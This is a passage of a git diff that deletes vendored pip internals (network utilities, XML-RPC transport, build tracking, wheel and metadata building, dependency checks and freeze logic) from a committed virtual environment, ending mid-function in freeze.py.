-        # Allow setting a default timeout on a session
-        kwargs.setdefault("timeout", self.timeout)
-        # Allow setting a default proxies on a session
-        kwargs.setdefault("proxies", self.proxies)
-
-        # Dispatch the actual request
-        try:
-            return super().request(method, url, *args, **kwargs)
-        except (requests.ConnectionError, requests.Timeout) as e:
-            request = getattr(e, "request", None)
-            failed_url = getattr(request, "url", None) or url
-            raise_connection_error(e, url=failed_url, timeout=kwargs["timeout"])
-        except ImportError as e:
-            if "ssl" in str(e).lower():
-                # Unfortunately, if this TLS error was the result of a redirect from
-                # a HTTP to a HTTPS url, we don't know what the final url was.
-                raise SSLMissingError(redact_auth_from_url(url))
-            raise
diff --git a/venv/Lib/site-packages/pip/_internal/network/utils.py b/venv/Lib/site-packages/pip/_internal/network/utils.py
deleted file mode 100644
index 0f50607de6d8ba4d905f0cf8e7838598c17dc4f8..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/utils.py
+++ /dev/null
@@ -1,206 +0,0 @@
-from collections.abc import Generator
-from typing import Literal, NoReturn, TypeAlias, cast
-from urllib.parse import urlsplit
-
-from pip._vendor import requests, urllib3
-from pip._vendor.requests.models import Response
-from pip._vendor.urllib3.exceptions import TimeoutStateError
-
-from pip._internal.exceptions import (
-    ConnectionFailedError,
-    ConnectionTimeoutError,
-    NetworkConnectionError,
-    ProxyConnectionError,
-    SSLVerificationError,
-)
-from pip._internal.utils.misc import redact_auth_from_url
-
-TimeoutValue: TypeAlias = (
-    float | tuple[float | None, float | None] | urllib3.util.Timeout | None
-)
-
-# The following comments and HTTP headers were originally added by
-# Donald Stufft in git commit 22c562429a61bb77172039e480873fb239dd8c03.
-#
-# We use Accept-Encoding: identity here because requests defaults to
-# accepting compressed responses. This breaks in a variety of ways
-# depending on how the server is configured.
-# - Some servers will notice that the file isn't a compressible file
-#   and will leave the file alone and with an empty Content-Encoding
-# - Some servers will notice that the file is already compressed and
-#   will leave the file alone, adding a Content-Encoding: gzip header
-# - Some servers won't notice anything at all and will take a file
-#   that's already been compressed and compress it again, and set
-#   the Content-Encoding: gzip header
-# By setting this to request only the identity encoding we're hoping
-# to eliminate the third case.  Hopefully there does not exist a server
-# which when given a file will notice it is already compressed and that
-# you're not asking for a compressed file and will then decompress it
-# before sending because if that's the case I don't think it'll ever be
-# possible to make this work.
-HEADERS: dict[str, str] = {"Accept-Encoding": "identity"}
-
-DOWNLOAD_CHUNK_SIZE = 256 * 1024
-
-
-def raise_for_status(resp: Response) -> None:
-    http_error_msg = ""
-    if isinstance(resp.reason, bytes):
-        # We attempt to decode utf-8 first because some servers
-        # choose to localize their reason strings. If the string
-        # isn't utf-8, we fall back to iso-8859-1 for all other
-        # encodings.
-        try:
-            reason = resp.reason.decode("utf-8")
-        except UnicodeDecodeError:
-            reason = resp.reason.decode("iso-8859-1")
-    else:
-        reason = resp.reason
-
-    if 400 <= resp.status_code < 500:
-        http_error_msg = (
-            f"{resp.status_code} Client Error: {reason} for url: {resp.url}"
-        )
-
-    elif 500 <= resp.status_code < 600:
-        http_error_msg = (
-            f"{resp.status_code} Server Error: {reason} for url: {resp.url}"
-        )
-
-    if http_error_msg:
-        raise NetworkConnectionError(http_error_msg, response=resp)
-
-
-def response_chunks(
-    response: Response, chunk_size: int = DOWNLOAD_CHUNK_SIZE
-) -> Generator[bytes, None, None]:
-    """Given a requests Response, provide the data chunks."""
-    try:
-        # Special case for urllib3.
-        for chunk in response.raw.stream(
-            chunk_size,
-            # We use decode_content=False here because we don't
-            # want urllib3 to mess with the raw bytes we get
-            # from the server. If we decompress inside of
-            # urllib3 then we cannot verify the checksum
-            # because the checksum will be of the compressed
-            # file. This breakage will only occur if the
-            # server adds a Content-Encoding header, which
-            # depends on how the server was configured:
-            # - Some servers will notice that the file isn't a
-            #   compressible file and will leave the file alone
-            #   and with an empty Content-Encoding
-            # - Some servers will notice that the file is
-            #   already compressed and will leave the file
-            #   alone and will add a Content-Encoding: gzip
-            #   header
-            # - Some servers won't notice anything at all and
-            #   will take a file that's already been compressed
-            #   and compress it again and set the
-            #   Content-Encoding: gzip header
-            #
-            # By setting this not to decode automatically we
-            # hope to eliminate problems with the second case.
-            decode_content=False,
-        ):
-            yield chunk
-    except AttributeError:
-        # Standard file-like object.
-        while True:
-            chunk = response.raw.read(chunk_size)
-            if not chunk:
-                break
-            yield chunk
-
-
-def _parse_timeout(timeout: TimeoutValue, kind: Literal["connect", "read"]) -> float:
-    connect_timeout: float | None
-    read_timeout: float | None
-    if isinstance(timeout, tuple):
-        connect_timeout, read_timeout = timeout
-    elif isinstance(timeout, urllib3.util.Timeout):
-        connect_timeout = cast(float | None, timeout.connect_timeout)
-        try:
-            read_timeout = timeout.read_timeout
-        except TimeoutStateError:
-            read_timeout = None
-    else:
-        connect_timeout = read_timeout = timeout
-
-    if kind == "connect":
-        assert connect_timeout is not None
-        return connect_timeout
-    else:
-        assert read_timeout is not None
-        return read_timeout
-
-
-def _raise_timeout_error(
-    reason: urllib3.exceptions.TimeoutError,
-    url: str,
-    host: str,
-    timeout: TimeoutValue,
-) -> NoReturn:
-    if isinstance(reason, urllib3.exceptions.ConnectTimeoutError):
-        raise ConnectionTimeoutError(
-            url, host, kind="connect", timeout=_parse_timeout(timeout, "connect")
-        )
-    else:
-        raise ConnectionTimeoutError(
-            url, host, kind="read", timeout=_parse_timeout(timeout, "read")
-        )
-
-
-def raise_connection_error(
-    error: requests.ConnectionError | requests.Timeout,
-    *,
-    url: str,
-    timeout: TimeoutValue,
-) -> NoReturn:
-    """Raise a specific error for a given connection error, if possible.
-
-    Note: requests.ConnectionError is the parent class of
-          requests.ProxyError, requests.SSLError, and requests.ConnectTimeout
-          so these errors are also handled here.
-    """
-    url = redact_auth_from_url(url)
-    raw_hostname = urlsplit(url).hostname or urlsplit(url).netloc
-    reason = error.args[0] if error.args else error
-
-    # NewConnectionError is a subclass of TimeoutError for some reason...
-    if isinstance(reason, urllib3.exceptions.TimeoutError) and not isinstance(
-        reason, urllib3.exceptions.NewConnectionError
-    ):
-        # A bare timeout error can occur during non-streamed responses. Don't
-        # ask me how.
-        _raise_timeout_error(reason, url, raw_hostname, timeout)
-    if isinstance(reason, urllib3.exceptions.SSLError):
-        # A bare SSL error can occur during non-streamed responses, after the
-        # initial connection and TLS handshake have completed.
-        raise SSLVerificationError(url, raw_hostname, reason)
-
-    # At this point, all errors should be wrapped in MaxRetryError.
-    if not isinstance(reason, urllib3.exceptions.MaxRetryError):
-        raise ConnectionFailedError(url, raw_hostname, reason)
-
-    max_retry_error = reason
-    assert isinstance(max_retry_error.pool, urllib3.connectionpool.HTTPConnectionPool)
-    host = max_retry_error.pool.host
-    proxy = max_retry_error.pool.proxy
-    # Narrow the reason further to the specific error from the last retry.
-    reason = max_retry_error.reason
-
-    if isinstance(reason, urllib3.exceptions.SSLError):
-        raise SSLVerificationError(url, host, reason)
-    if isinstance(reason, urllib3.exceptions.TimeoutError) and not isinstance(
-        reason, urllib3.exceptions.NewConnectionError
-    ):
-        _raise_timeout_error(reason, url, host, timeout)
-    if isinstance(reason, urllib3.exceptions.ProxyError):
-        assert proxy is not None
-        raise ProxyConnectionError(url, redact_auth_from_url(str(proxy)), reason)
-
-    # Unknown error, give up and raise a generic error.
-    raise ConnectionFailedError(
-        url, host, reason if isinstance(reason, Exception) else max_retry_error
-    )
diff --git a/venv/Lib/site-packages/pip/_internal/network/xmlrpc.py b/venv/Lib/site-packages/pip/_internal/network/xmlrpc.py
deleted file mode 100644
index f4bddb48a1d46e60628c655edb0b7412dd19c639..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/xmlrpc.py
+++ /dev/null
@@ -1,61 +0,0 @@
-"""xmlrpclib.Transport implementation"""
-
-import logging
-import urllib.parse
-import xmlrpc.client
-from typing import TYPE_CHECKING
-
-from pip._internal.exceptions import NetworkConnectionError
-from pip._internal.network.session import PipSession
-from pip._internal.network.utils import raise_for_status
-
-if TYPE_CHECKING:
-    from xmlrpc.client import _HostType, _Marshallable
-
-    from _typeshed import SizedBuffer
-
-logger = logging.getLogger(__name__)
-
-
-class PipXmlrpcTransport(xmlrpc.client.Transport):
-    """Provide a `xmlrpclib.Transport` implementation via a `PipSession`
-    object.
-    """
-
-    def __init__(
-        self, index_url: str, session: PipSession, use_datetime: bool = False
-    ) -> None:
-        super().__init__(use_datetime)
-        index_parts = urllib.parse.urlparse(index_url)
-        self._scheme = index_parts.scheme
-        self._session = session
-
-    def request(
-        self,
-        host: "_HostType",
-        handler: str,
-        request_body: "SizedBuffer",
-        verbose: bool = False,
-    ) -> tuple["_Marshallable", ...]:
-        assert isinstance(host, str)
-        parts = (self._scheme, host, handler, None, None, None)
-        url = urllib.parse.urlunparse(parts)
-        try:
-            headers = {"Content-Type": "text/xml"}
-            response = self._session.post(
-                url,
-                data=request_body,
-                headers=headers,
-                stream=True,
-            )
-            raise_for_status(response)
-            self.verbose = verbose
-            return self.parse_response(response.raw)
-        except NetworkConnectionError as exc:
-            assert exc.response
-            logger.critical(
-                "HTTP error %s while getting %s",
-                exc.response.status_code,
-                url,
-            )
-            raise
diff --git a/venv/Lib/site-packages/pip/_internal/operations/__init__.py b/venv/Lib/site-packages/pip/_internal/operations/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_internal/operations/build/__init__.py b/venv/Lib/site-packages/pip/_internal/operations/build/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_internal/operations/build/build_tracker.py b/venv/Lib/site-packages/pip/_internal/operations/build/build_tracker.py
deleted file mode 100644
index cbb4e4f0928f3688402a3c5d2c4ba5da2bbfbbc2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/build/build_tracker.py
+++ /dev/null
@@ -1,140 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import hashlib
-import logging
-import os
-from collections.abc import Generator
-from types import TracebackType
-
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.utils.temp_dir import TempDirectory
-
-logger = logging.getLogger(__name__)
-
-
-@contextlib.contextmanager
-def update_env_context_manager(**changes: str) -> Generator[None, None, None]:
-    target = os.environ
-
-    # Save values from the target and change them.
-    non_existent_marker = object()
-    saved_values: dict[str, object | str] = {}
-    for name, new_value in changes.items():
-        try:
-            saved_values[name] = target[name]
-        except KeyError:
-            saved_values[name] = non_existent_marker
-        target[name] = new_value
-
-    try:
-        yield
-    finally:
-        # Restore original values in the target.
-        for name, original_value in saved_values.items():
-            if original_value is non_existent_marker:
-                del target[name]
-            else:
-                assert isinstance(original_value, str)  # for mypy
-                target[name] = original_value
-
-
-@contextlib.contextmanager
-def get_build_tracker() -> Generator[BuildTracker, None, None]:
-    root = os.environ.get("PIP_BUILD_TRACKER")
-    with contextlib.ExitStack() as ctx:
-        if root is None:
-            root = ctx.enter_context(TempDirectory(kind="build-tracker")).path
-            ctx.enter_context(update_env_context_manager(PIP_BUILD_TRACKER=root))
-            logger.debug("Initialized build tracking at %s", root)
-
-        with BuildTracker(root) as tracker:
-            yield tracker
-
-
-class TrackerId(str):
-    """Uniquely identifying string provided to the build tracker."""
-
-
-class BuildTracker:
-    """Ensure that an sdist cannot request itself as a setup requirement.
-
-    When an sdist is prepared, it identifies its setup requirements in the
-    context of ``BuildTracker.track()``. If a requirement shows up recursively, this
-    raises an exception.
-
-    This stops fork bombs embedded in malicious packages."""
-
-    def __init__(self, root: str) -> None:
-        self._root = root
-        self._entries: dict[TrackerId, InstallRequirement] = {}
-        logger.debug("Created build tracker: %s", self._root)
-
-    def __enter__(self) -> BuildTracker:
-        logger.debug("Entered build tracker: %s", self._root)
-        return self
-
-    def __exit__(
-        self,
-        exc_type: type[BaseException] | None,
-        exc_val: BaseException | None,
-        exc_tb: TracebackType | None,
-    ) -> None:
-        self.cleanup()
-
-    def _entry_path(self, key: TrackerId) -> str:
-        hashed = hashlib.sha224(key.encode()).hexdigest()
-        return os.path.join(self._root, hashed)
-
-    def add(self, req: InstallRequirement, key: TrackerId) -> None:
-        """Add an InstallRequirement to build tracking."""
-
-        # Get the file to write information about this requirement.
-        entry_path = self._entry_path(key)
-
-        # Try reading from the file. If it exists and can be read from, a build
-        # is already in progress, so a LookupError is raised.
-        try:
-            with open(entry_path) as fp:
-                contents = fp.read()
-        except FileNotFoundError:
-            pass
-        else:
-            message = f"{req.link} is already being built: {contents}"
-            raise LookupError(message)
-
-        # If we're here, req should really not be building already.
-        assert key not in self._entries
-
-        # Start tracking this requirement.
-        with open(entry_path, "w", encoding="utf-8") as fp:
-            fp.write(str(req))
-        self._entries[key] = req
-
-        logger.debug("Added %s to build tracker %r", req, self._root)
-
-    def remove(self, req: InstallRequirement, key: TrackerId) -> None:
-        """Remove an InstallRequirement from build tracking."""
-
-        # Delete the created file and the corresponding entry.
-        os.unlink(self._entry_path(key))
-        del self._entries[key]
-
-        logger.debug("Removed %s from build tracker %r", req, self._root)
-
-    def cleanup(self) -> None:
-        for key, req in list(self._entries.items()):
-            self.remove(req, key)
-
-        logger.debug("Removed build tracker: %r", self._root)
-
-    @contextlib.contextmanager
-    def track(self, req: InstallRequirement, key: str) -> Generator[None, None, None]:
-        """Ensure that `key` cannot install itself as a setup requirement.
-
-        :raises LookupError: If `key` was already provided in a parent invocation of
-                             the context introduced by this method."""
-        tracker_id = TrackerId(key)
-        self.add(req, tracker_id)
-        yield
-        self.remove(req, tracker_id)
diff --git a/venv/Lib/site-packages/pip/_internal/operations/build/metadata.py b/venv/Lib/site-packages/pip/_internal/operations/build/metadata.py
deleted file mode 100644
index a546809ecd5aaebe791fffef6f0bb114fcec49c6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/build/metadata.py
+++ /dev/null
@@ -1,38 +0,0 @@
-"""Metadata generation logic for source distributions."""
-
-import os
-
-from pip._vendor.pyproject_hooks import BuildBackendHookCaller
-
-from pip._internal.build_env import BuildEnvironment
-from pip._internal.exceptions import (
-    InstallationSubprocessError,
-    MetadataGenerationFailed,
-)
-from pip._internal.utils.subprocess import runner_with_spinner_message
-from pip._internal.utils.temp_dir import TempDirectory
-
-
-def generate_metadata(
-    build_env: BuildEnvironment, backend: BuildBackendHookCaller, details: str
-) -> str:
-    """Generate metadata using mechanisms described in PEP 517.
-
-    Returns the generated metadata directory.
-    """
-    metadata_tmpdir = TempDirectory(kind="modern-metadata", globally_managed=True)
-
-    metadata_dir = metadata_tmpdir.path
-
-    with build_env:
-        # Note that BuildBackendHookCaller implements a fallback for
-        # prepare_metadata_for_build_wheel, so we don't have to
-        # consider the possibility that this hook doesn't exist.
-        runner = runner_with_spinner_message("Preparing metadata (pyproject.toml)")
-        with backend.subprocess_runner(runner):
-            try:
-                distinfo_dir = backend.prepare_metadata_for_build_wheel(metadata_dir)
-            except InstallationSubprocessError as error:
-                raise MetadataGenerationFailed(package_details=details) from error
-
-    return os.path.join(metadata_dir, distinfo_dir)
diff --git a/venv/Lib/site-packages/pip/_internal/operations/build/metadata_editable.py b/venv/Lib/site-packages/pip/_internal/operations/build/metadata_editable.py
deleted file mode 100644
index 27ecd7d3d80676330d197008a5055837cfbc4e24..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/build/metadata_editable.py
+++ /dev/null
@@ -1,41 +0,0 @@
-"""Metadata generation logic for source distributions."""
-
-import os
-
-from pip._vendor.pyproject_hooks import BuildBackendHookCaller
-
-from pip._internal.build_env import BuildEnvironment
-from pip._internal.exceptions import (
-    InstallationSubprocessError,
-    MetadataGenerationFailed,
-)
-from pip._internal.utils.subprocess import runner_with_spinner_message
-from pip._internal.utils.temp_dir import TempDirectory
-
-
-def generate_editable_metadata(
-    build_env: BuildEnvironment, backend: BuildBackendHookCaller, details: str
-) -> str:
-    """Generate metadata using mechanisms described in PEP 660.
-
-    Returns the generated metadata directory.
-    """
-    metadata_tmpdir = TempDirectory(kind="modern-metadata", globally_managed=True)
-
-    metadata_dir = metadata_tmpdir.path
-
-    with build_env:
-        # Note that BuildBackendHookCaller implements a fallback for
-        # prepare_metadata_for_build_wheel/editable, so we don't have to
-        # consider the possibility that this hook doesn't exist.
-        runner = runner_with_spinner_message(
-            "Preparing editable metadata (pyproject.toml)"
-        )
-        with backend.subprocess_runner(runner):
-            try:
-                distinfo_dir = backend.prepare_metadata_for_build_editable(metadata_dir)
-            except InstallationSubprocessError as error:
-                raise MetadataGenerationFailed(package_details=details) from error
-
-    assert distinfo_dir is not None
-    return os.path.join(metadata_dir, distinfo_dir)
diff --git a/venv/Lib/site-packages/pip/_internal/operations/build/wheel.py b/venv/Lib/site-packages/pip/_internal/operations/build/wheel.py
deleted file mode 100644
index 8595e45c5487c0a274f3f447e6de254e19db9dd2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/build/wheel.py
+++ /dev/null
@@ -1,38 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-
-from pip._vendor.pyproject_hooks import BuildBackendHookCaller
-
-from pip._internal.utils.subprocess import runner_with_spinner_message
-
-logger = logging.getLogger(__name__)
-
-
-def build_wheel_pep517(
-    name: str,
-    backend: BuildBackendHookCaller,
-    metadata_directory: str,
-    wheel_directory: str,
-) -> str | None:
-    """Build one InstallRequirement using the PEP 517 build process.
-
-    Returns path to wheel if successfully built. Otherwise, returns None.
-    """
-    assert metadata_directory is not None
-    try:
-        logger.debug("Destination directory: %s", wheel_directory)
-
-        runner = runner_with_spinner_message(
-            f"Building wheel for {name} (pyproject.toml)"
-        )
-        with backend.subprocess_runner(runner):
-            wheel_name = backend.build_wheel(
-                wheel_directory=wheel_directory,
-                metadata_directory=metadata_directory,
-            )
-    except Exception:
-        logger.error("Failed building wheel for %s", name)
-        return None
-    return os.path.join(wheel_directory, wheel_name)
diff --git a/venv/Lib/site-packages/pip/_internal/operations/build/wheel_editable.py b/venv/Lib/site-packages/pip/_internal/operations/build/wheel_editable.py
deleted file mode 100644
index f00d9b27ecb40b1c70283aba3be527381eec3d35..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/build/wheel_editable.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-
-from pip._vendor.pyproject_hooks import BuildBackendHookCaller, HookMissing
-
-from pip._internal.utils.subprocess import runner_with_spinner_message
-
-logger = logging.getLogger(__name__)
-
-
-def build_wheel_editable(
-    name: str,
-    backend: BuildBackendHookCaller,
-    metadata_directory: str,
-    wheel_directory: str,
-) -> str | None:
-    """Build one InstallRequirement using the PEP 660 build process.
-
-    Returns path to wheel if successfully built. Otherwise, returns None.
-    """
-    assert metadata_directory is not None
-    try:
-        logger.debug("Destination directory: %s", wheel_directory)
-
-        runner = runner_with_spinner_message(
-            f"Building editable for {name} (pyproject.toml)"
-        )
-        with backend.subprocess_runner(runner):
-            try:
-                wheel_name = backend.build_editable(
-                    wheel_directory=wheel_directory,
-                    metadata_directory=metadata_directory,
-                )
-            except HookMissing as e:
-                logger.error(
-                    "Cannot build editable %s because the build "
-                    "backend does not have the %s hook",
-                    name,
-                    e,
-                )
-                return None
-    except Exception:
-        logger.error("Failed building editable for %s", name)
-        return None
-    return os.path.join(wheel_directory, wheel_name)
diff --git a/venv/Lib/site-packages/pip/_internal/operations/check.py b/venv/Lib/site-packages/pip/_internal/operations/check.py
deleted file mode 100644
index 00cb6c562e20b3aa85a9581805a8f022114875bc..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/check.py
+++ /dev/null
@@ -1,174 +0,0 @@
-"""Validation of dependencies of packages"""
-
-from __future__ import annotations
-
-import logging
-from collections.abc import Callable, Generator, Iterable
-from contextlib import suppress
-from email.parser import Parser
-from functools import reduce
-from typing import (
-    NamedTuple,
-)
-
-from pip._vendor.packaging.requirements import Requirement
-from pip._vendor.packaging.tags import Tag, parse_tag
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import Version
-
-from pip._internal.distributions import make_distribution_for_install_requirement
-from pip._internal.metadata import get_default_environment
-from pip._internal.metadata.base import BaseDistribution
-from pip._internal.req.req_install import InstallRequirement
-
-logger = logging.getLogger(__name__)
-
-
-class PackageDetails(NamedTuple):
-    version: Version
-    dependencies: list[Requirement]
-
-
-# Shorthands
-PackageSet = dict[NormalizedName, PackageDetails]
-Missing = tuple[NormalizedName, Requirement]
-Conflicting = tuple[NormalizedName, Version, Requirement]
-
-MissingDict = dict[NormalizedName, list[Missing]]
-ConflictingDict = dict[NormalizedName, list[Conflicting]]
-CheckResult = tuple[MissingDict, ConflictingDict]
-ConflictDetails = tuple[PackageSet, CheckResult]
-
-
-def create_package_set_from_installed() -> tuple[PackageSet, bool]:
-    """Converts a list of distributions into a PackageSet."""
-    package_set = {}
-    problems = False
-    env = get_default_environment()
-    for dist in env.iter_installed_distributions(local_only=False, skip=()):
-        name = dist.canonical_name
-        try:
-            dependencies = list(dist.iter_dependencies())
-            package_set[name] = PackageDetails(dist.version, dependencies)
-        except (OSError, ValueError) as e:
-            # Don't crash on unreadable or broken metadata.
-            logger.warning("Error parsing dependencies of %s: %s", name, e)
-            problems = True
-    return package_set, problems
-
-
-def check_package_set(
-    package_set: PackageSet, should_ignore: Callable[[str], bool] | None = None
-) -> CheckResult:
-    """Check if a package set is consistent
-
-    If should_ignore is passed, it should be a callable that takes a
-    package name and returns a boolean.
-    """
-
-    missing = {}
-    conflicting = {}
-
-    for package_name, package_detail in package_set.items():
-        # Info about dependencies of package_name
-        missing_deps: set[Missing] = set()
-        conflicting_deps: set[Conflicting] = set()
-
-        if should_ignore and should_ignore(package_name):
-            continue
-
-        for req in package_detail.dependencies:
-            name = canonicalize_name(req.name)
-
-            # Check if it's missing
-            if name not in package_set:
-                missed = True
-                if req.marker is not None:
-                    missed = req.marker.evaluate({"extra": ""})
-                if missed:
-                    missing_deps.add((name, req))
-                continue
-
-            # Check if there's a conflict
-            version = package_set[name].version
-            if not req.specifier.contains(version, prereleases=True):
-                conflicting_deps.add((name, version, req))
-
-        if missing_deps:
-            missing[package_name] = sorted(missing_deps, key=str)
-        if conflicting_deps:
-            conflicting[package_name] = sorted(conflicting_deps, key=str)
-
-    return missing, conflicting
-
-
-def check_install_conflicts(to_install: list[InstallRequirement]) -> ConflictDetails:
-    """For checking if the dependency graph would be consistent after \
-    installing given requirements
-    """
-    # Start from the current state
-    package_set, _ = create_package_set_from_installed()
-    # Install packages
-    would_be_installed = _simulate_installation_of(to_install, package_set)
-
-    # Only warn about directly-dependent packages; create a whitelist of them
-    whitelist = _create_whitelist(would_be_installed, package_set)
-
-    return (
-        package_set,
-        check_package_set(
-            package_set, should_ignore=lambda name: name not in whitelist
-        ),
-    )
-
-
-def check_unsupported(
-    packages: Iterable[BaseDistribution],
-    supported_tags: Iterable[Tag],
-) -> Generator[BaseDistribution, None, None]:
-    for p in packages:
-        with suppress(FileNotFoundError):
-            wheel_file = p.read_text("WHEEL")
-            wheel_tags: frozenset[Tag] = reduce(
-                frozenset.union,
-                map(parse_tag, Parser().parsestr(wheel_file).get_all("Tag", [])),
-                frozenset(),
-            )
-            if wheel_tags.isdisjoint(supported_tags):
-                yield p
-
-
-def _simulate_installation_of(
-    to_install: list[InstallRequirement], package_set: PackageSet
-) -> set[NormalizedName]:
-    """Computes the version of packages after installing to_install."""
-    # Keep track of packages that were installed
-    installed = set()
-
-    # Modify it as installing requirement_set would (assuming no errors)
-    for inst_req in to_install:
-        abstract_dist = make_distribution_for_install_requirement(inst_req)
-        dist = abstract_dist.get_metadata_distribution()
-        name = dist.canonical_name
-        package_set[name] = PackageDetails(dist.version, list(dist.iter_dependencies()))
-
-        installed.add(name)
-
-    return installed
-
-
-def _create_whitelist(
-    would_be_installed: set[NormalizedName], package_set: PackageSet
-) -> set[NormalizedName]:
-    packages_affected = set(would_be_installed)
-
-    for package_name in package_set:
-        if package_name in packages_affected:
-            continue
-
-        for req in package_set[package_name].dependencies:
-            if canonicalize_name(req.name) in would_be_installed:
-                packages_affected.add(package_name)
-                break
-
-    return packages_affected
diff --git a/venv/Lib/site-packages/pip/_internal/operations/freeze.py b/venv/Lib/site-packages/pip/_internal/operations/freeze.py
deleted file mode 100644
index 486a833212f2cf220b6c9e0a918c05f913509750..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/operations/freeze.py
+++ /dev/null
@@ -1,259 +0,0 @@
-from __future__ import annotations
-
-import collections
-import logging
-import os
-from collections.abc import Container, Generator, Iterable
-from dataclasses import dataclass, field
-from typing import NamedTuple
-
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import InvalidVersion
-
-from pip._internal.exceptions import BadCommand, InstallationError
-from pip._internal.metadata import BaseDistribution, get_environment
-from pip._internal.req.constructors import (
-    install_req_from_editable,
-    install_req_from_line,
-)
-from pip._internal.req.req_file import COMMENT_RE
-from pip._internal.utils.direct_url_helpers import direct_url_as_pep440_direct_reference
-
-logger = logging.getLogger(__name__)
-
-
-class _EditableInfo(NamedTuple):
-    requirement: str
-    comments: list[str]
-
-
-def freeze(
-    requirement: list[str] | None = None,
-    local_only: bool = False,
-    user_only: bool = False,
-    paths: list[str] | None = None,
-    isolated: bool = False,
-    exclude_editable: bool = False,
-    skip: Container[str] = (),
-) -> Generator[str, None, None]:
-    installations: dict[str, FrozenRequirement] = {}
-
-    dists = get_environment(paths).iter_installed_distributions(
-        local_only=local_only,
-        skip=(),
-        user_only=user_only,
-    )
-    for dist in dists:
-        req = FrozenRequirement.from_dist(dist)
-        if exclude_editable and req.editable:
-            continue
-        installations[req.canonical_name] = req
-
-    if requirement:
-        # the options that don't get turned into an InstallRequirement
-        # should only be emitted once, even if the same option is in multiple
-        # requirements files, so we need to keep track of what has been emitted
-        # so that we don't emit it again if it's seen again
-        emitted_options: set[str] = set()
-        # keep track of which files a requirement is in so that we can
-        # give an accurate warning if a requirement appears multiple times.
-        req_files: dict[str, list[str]] = collections.defaultdict(list)
-        for req_file_path in requirement:
-            with open(req_file_path) as req_file:
-                for line in req_file:
-                    if (
-                        not line.strip()
-                        or line.strip().startswith("#")
-                        or line.startswith(
-                            (
-                                "-r",
-                                "--requirement",
-                                "-f",
-                                "--find-links",
-                                "-i",
-                                "--index-url",
-                                "--pre",
-                                "--trusted-host",
-                                "--process-dependency-links",
-                                "--extra-index-url",
-                                "--use-feature",
-                            )
-                        )
-                    ):
-                        line = line.rstrip()
-                        if line not in emitted_options:
-                            emitted_options.add(line)
-                            yield line
-                        continue
-
-                    if line.startswith(("-e", "--editable")):
-                        if line.startswith("-e"):
-                            line = line[2:].strip()
-                        else:
-                            line = line[len("--editable") :].strip().lstrip("=")
-                        line_req = install_req_from_editable(
-                            line,
-                            isolated=isolated,
-                        )
-                    else:
-                        line_req = install_req_from_line(
-                            COMMENT_RE.sub("", line).strip(),
-                            isolated=isolated,
-                        )
-
-                    if not line_req.name:
-                        logger.info(
-                            "Skipping line in requirement file [%s] because "
-                            "it's not clear what it would install: %s",
-                            req_file_path,
-                            line.strip(),
-                        )
-                        logger.info(
-                            "  (add #egg=PackageName to the URL to avoid"
-                            " this warning)"
-                        )
-                    else:
-                        line_req_canonical_name = canonicalize_name(line_req.name)
-                        if line_req_canonical_name not in installations:
-                            # either it's not installed, or it is installed
-                            # but has been processed already
-                            if not req_files[line_req.name]:
-                                logger.warning(
-                                    "Requirement file [%s] contains %s, but "
-                                    "package %r is not installed",
-                                    req_file_path,
-                                    COMMENT_RE.sub("", line).strip(),
-                                    line_req.name,
-                                )
-                            else:
-                                req_files[line_req.name].append(req_file_path)
-                        else:
-                            yield str(installations[line_req_canonical_name]).rstrip()
-                            del installations[line_req_canonical_name]
-                            req_files[line_req.name].append(req_file_path)
-
-        # Warn about requirements that were included multiple times (in a
-        # single requirements file or in different requirements files).
-        for name, files in req_files.items():
-            if len(files) > 1:
-                logger.warning(
-                    "Requirement %s included multiple times [%s]",
-                    name,
-                    ", ".join(sorted(set(files))),
-                )
-
-        yield ("## The following requirements were added by pip freeze:")
-    for installation in sorted(installations.values(), key=lambda x: x.name.lower()):
-        if installation.canonical_name not in skip:
-            yield str(installation).rstrip()
-
-
-def _format_as_name_version(dist: BaseDistribution) -> str:
-    try:
-        dist_version = dist.version
-    except InvalidVersion:
-        # legacy version
-        return f"{dist.raw_name}==={dist.raw_version}"
-    else:
-        return f"{dist.raw_name}=={dist_version}"
-
-
-def _get_editable_info(dist: BaseDistribution) -> _EditableInfo:
-    """
-    Compute and return values (req, comments) for use in
-    FrozenRequirement.from_dist().
-    """
-    editable_project_location = dist.editable_project_location
-    assert editable_project_location
-    location = os.path.normcase(os.path.abspath(editable_project_location))
-
-    from pip._internal.vcs import RemoteNotFoundError, RemoteNotValidError, vcs
-
-    vcs_backend = vcs.get_backend_for_dir(location)
-
-    if vcs_backend is None:
-        display = _format_as_name_version(dist)
-        logger.debug(
-            'No VCS found for editable requirement "%s" in: %r',
-            display,
-            location,
-        )
-        return _EditableInfo(
-            requirement=location,
-            comments=[f"# Editable install with no version control ({display})"],
-        )
-
-    vcs_name = type(vcs_backend).__name__
-
-    try:
-        req = vcs_backend.get_src_requirement(location, dist.raw_name)
-    except RemoteNotFoundError:
-        display = _format_as_name_version(dist)
-        return _EditableInfo(
-            requirement=location,
-            comments=[f"# Editable {vcs_name} install with no remote ({display})"],
-        )
-    except RemoteNotValidError as ex:
-        display = _format_as_name_version(dist)
-        return _EditableInfo(
-            requirement=location,
-            comments=[
